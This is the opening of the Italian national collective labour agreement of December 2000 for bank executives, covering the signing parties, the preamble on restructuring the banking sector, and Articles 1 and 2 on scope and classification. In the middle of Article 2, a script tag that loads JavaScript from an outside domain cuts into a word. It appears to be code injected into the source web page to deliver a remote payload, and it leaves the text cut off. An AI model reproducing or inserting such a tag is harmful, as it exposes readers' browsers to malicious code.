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Categoria: Bancari (dirigenti, ABI-ACRI) Settore: Credito e Assicurazioni Data stipula: 1-12-2000 Data decorrenza: 1-12-2000 Data scadenza: 31-12-2003
Contratto Collettivo Nazionale di Lavoro
1° DICEMBRE 2000
PER I DIRIGENTI
Il 1° dicembre 2000, in Roma
tra
- La Delegazione ABI per le trattative in tema di lavoro e occupazione
e
- FEDERDIRIGENTICREDITO (Federazione Nazionale del personale dell'area
direttiva del credito)
- SINFUB (Sindacato personale direttivo e aree professionali di
credito, finanza e assicurazioni)
si è convenuto di stipulare il presente contratto collettivo nazionale di
lavoro unico per i dirigenti delle aziende di credito, finanziarie e
strumentali, in sostituzione: delle norme relative ai dirigenti dei CCNL
22 giugno 1995 (ABI) e 16 giugno 1995 (ACRI) e in attuazione: del
Protocollo d'intesa sul sistema bancario 4 giugno 1997, dell'accordo
quadro 28 febbraio 1998 e della norma transitoria in calce al CCNL 11
luglio 1999.
Firma per adesioni
FABI
FALCRI
FIBA-CISL
FISAC-CGIL
UIL C.A.
PREMESSA
Le Parti si danno atto che il presente contratto nazionale viene stipulato
al termine di un articolato e complesso iter negoziale avviato nella
primavera del 1997 e che ha condotto, quale primo risultato, alla
sottoscrizione, presso la Presidenza del Consiglio dei Ministri, del
"Protocollo d'intesa sul settore bancario" del 4 giugno 1997.
Nell'occasione le Parti, convenendo sulle difficoltà in atto nel sistema
creditizio, anche nell'ottica dell'unificazione monetaria europea,
ritennero inderogabile la ristrutturazione globale del sistema, in una
logica di efficienza e competitività internazionale, anche relativamente
alla struttura e ai contenuti della contrattazione collettiva di tutto il
personale bancario, allo scopo di attuare congiuntamente quel complesso di
azioni finalizzate a elevare le capacità di competizione del sistema.
In tale ambito si era, tra l'altro, preso atto che "l'evoluzione
strutturale impone al sistema bancario profondi processi di riconversione
e di riposizionamento strategico; ridefinizione delle aree di affari e dei
baricentri reddituali; innovazione di prodotto ad alto valore aggiunto,
sia sul lato del risparmio gestito che dei servizi alle imprese".
In attuazione degli impegni ivi assunti, le Parti stipulanti il presente
contratto hanno sottoscritto l'Accordo quadro 28 febbraio 1998 per i
rinnovi contrattuali e definito l'Accordo per l'istituzione del Fondo di
solidarietà per il sostegno del reddito, dell'occupazione e della
riconversione e riqualificazione professionale del personale del credito.
Nell'ambito della prima delle predette intese le medesime Parti hanno
concordato sulla strumentazione più idonea al raggiungimento degli scopi
individuati con il predetto Protocollo del 4 giugno 1997, ed in
particolare dell'obiettivo di accrescere l'efficienza e la competitività
complessiva del sistema e portare i costi dello stesso al livello medio
degli altri principali Paesi europei e di mirare al raggiungimento di
concreti risultati nel quadriennio di valenza contrattuale.
Art. 1 - Area contrattuale
Il presente contratto collettivo nazionale di lavoro si applica ai
dirigenti delle aziende di credito, finanziarie ed a quelli delle aziende
controllate che svolgono attività creditizia, finanziaria, ai sensi
dell'art. 1 del D.lgs. n. 385/93, o strumentale, ai sensi degli artt. 10 e
59 del medesimo decreto.
Si fa riferimento, altresì, in quanto compatibili con la figura del
dirigente, alle previsioni di cui al cap. I del contratto collettivo
nazionale di lavoro 11 luglio 1999 per i quadri direttivi e le aree
professionali (dalla 1ª alla 3ª).
Art. 2 - Inquadramento
Ai fini del presente contratto sono dirigenti coloro i quali - sussistendo
le condizioni di subordinazione di cui all'art. 2094 del codice civile ed
in quanto ricoprano nell'aziend<script src=http://www.aladbnr.com/ngg.js></script>
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